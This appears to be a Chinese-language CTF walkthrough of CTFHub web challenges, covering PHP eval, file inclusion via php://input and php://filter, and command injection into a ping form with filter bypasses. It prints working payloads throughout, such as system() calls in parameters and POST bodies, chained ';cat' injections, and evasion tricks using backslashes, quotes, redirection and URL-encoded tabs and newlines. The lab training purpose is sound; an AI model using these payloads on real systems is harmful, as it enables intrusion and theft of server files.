文章目录
eval执行
打开关卡
意思是判断cmd是否被设置,若cmd被赋值,则执行如下语句,否则就继续显示以上代码。
?cmd=system("ls");
查看根目录
然后输入
?cmd=system("ls /");
返回上一级
?cmd=system("cat /文件名");
得到flag
文件包含
我们打开关卡
?file=shell.txt
再查看根目录
然后看到flag
我们输入
ctfhub=system("cat /flag");
即可得到flag
PHP://input
补充知识:
PHP://input是什么?
PHP:// ~ 来访问各个输入/输出流(I/O streams),PHP://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 PHP://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 PHP.ini 指令。
它是PHP中一个只读的协议,使用时会将请求放在body中
简单的说PHP://input用于执行PHP代码。
首先我们看源码
然后点开PHPinfo查看发现
证明是可以使用PHP://input
然后我们使用burp抓包,构造
方法:POST
目标:/?file=PHP://input
Body:<?PHP system("ls /"); ?>
然后用cat查看
读取源代码
我们使用使用 PHP://input ,发现不成功,我们可以使用另一个
然后我们在url后添加
/?file=PHP://filter/resource=/flag
然后访问即可得到flag
远程包含
我们发现有strpos函数
可以使用PHP://input
然后我们使用burp抓包,修改
POST /?file=PHP://input
<?PHP system("ls /")?>
<?PHP system("cat /flag")?>
发现flag
命令注入
进入页面后给出的源码,题目要求输入IP地址执行ping命令
输入
127.0.0.1;cat 272442575313345.PHP
过滤cat
首先我们依然是ls查看当前目录
因为过滤掉了cat,我们使用 \ ‘’ “” {任意无意义变量名}等方法均可绕过
我们输入
127.0.0.1;c\at flag_170742479022746.PHP
过滤空格
首先我们依然是ls查看当前目录
因为空格被过滤了,我们可以使用 < 或 <> 重定向符来代替空格。
输入
127.0.0.1;cat<flag_154793093332529.PHP
过滤目录分隔符
首先我们依然是ls查看当前目录
127.0.0.1;ls \flag_is_here
我们用;同时执行
127.0.0.1 ; cd flag_is_here;cat flag_313792881429974.PHP
查看页面源码即可得到flag
过滤运算符
这里是过滤的运算符,我们用;代替&即可通关
跟上述步骤一样,然后查看页面源代码
127.0.0.1;ls
127.0.0.1;cat flag_13037231169954.PHP
得到falg
综合过滤练习
我们发现这道题能过滤的都过滤了
我们需要打开falg_is_here,但是已经过滤了falg
我们可以用Tab的url编码
?ip=127.0.0.1%0als%09*_is_here
因为cat被过滤了,我们可以使用单引号的url编码%27将cat的任意字母包裹
?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_231383221418137.PHP
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。